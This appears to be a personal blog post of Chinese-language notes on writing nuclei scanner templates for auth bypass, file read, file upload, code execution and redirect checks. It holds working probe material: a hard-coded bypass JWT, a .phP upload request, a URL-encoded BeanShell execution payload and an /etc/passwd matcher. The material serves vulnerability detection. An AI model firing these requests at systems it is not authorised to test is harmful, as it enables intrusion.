nuclei模版

身份验证要过/越权

常规的header 鉴权

使用其他的token 但是能够访问

注意的是,需要多个条件同时匹配是最好的结果

比如status_code 是200+响应体中有越权之后的信息

使用get 传参

首先使用定格的声明参数

1
2
3
variables:
token: eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OTl9.-isk56R8NfioHVYmpj4oz92nUteNBCN3HRd0-Hfk76g

再使用get 传入参数就OK

1
2
3
4
5
http:
- method: GET
path:
- '{{BaseURL}}/nacos?accessToken={{token}}'
- '{{BaseURL}}/v1?accessToken={{token}}'

csrf

默认密码

当发送登陆请求的时候,如果发生了跳转

或者是响应体中的session 等表示身份的字段存在了意义那么就有可能存在

文件读取/下载

读取/etc/passwd

使用正则匹配root 或者是uid=0 的用户

1
2
3
4
5
6
redirects: true
matchers:
- type: regex
part: body
regex:
- 'root:.*:0:0:'

任意文件上传

  1. 构造上传的数据包

    但是每一个上传数据的数据包可能不同

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt

    ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
    Content-Disposition: form-data; name="upload_quwan"; filename="{{filename}}.phP"
    Content-Type: image/jpeg

    {{randstr}}
    ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt
    Content-Disposition: form-data; name="file"; filename=""
    Content-Type: application/octet-stream


    ------WebKitFormBoundarydRVCGWq4Cx3Sq6tt--

    看响应体的返回结果

  2. 如果可以访问文件的,可以访问一下文件,添加到匹配规则中

直接对象引用

信息

信息泄漏

访问某一个url 之后,使用正则匹配之后,如果发现这个响应体存在敏感信息那么就命中

本地文件包含

发送请求去包含这个文件之后,看本响应体是否会有会存在文件的信息

逻辑

命令执行

代码执行

首先声明一个随机的num 变量

1
num: '{{rand_int(100000, 999999)}}'

然后在php 文件中写md5

1
<?php echo md5({{num}});?>'

之后调用这个php 如果响应体存在md5 之后的结果那就是说明命中

命令执行(post)

post 放入请求体

1
%62%73%68%2e%73%63%72%69%70%74=%70%72%69%6e%74%28%22{{randstr}}%22%29%3b

匹配

1
2
3
4
5
6
7
8
9
10
11
matchers:
- type: regex
condition: and
regex:
- BeanShell Test Servlet
- |-
(?i)<pre>(
.*){{randstr}}
- type: status
status:
- 200

重定向

1
2
3
4
5
6
7
matchers:
- type: dsl
condition: and
dsl:
- status_code_1 == 302
- status_code_2 == 302
- 'contains(header_2, ''Location: https://interact.sh?client_id=1'')'

远程文件包含


nuclei模版
https://tsy244.github.io/2025/02/07/others/nuclei模版/
Author
August Rosenberg
Posted on
February 7, 2025
Licensed under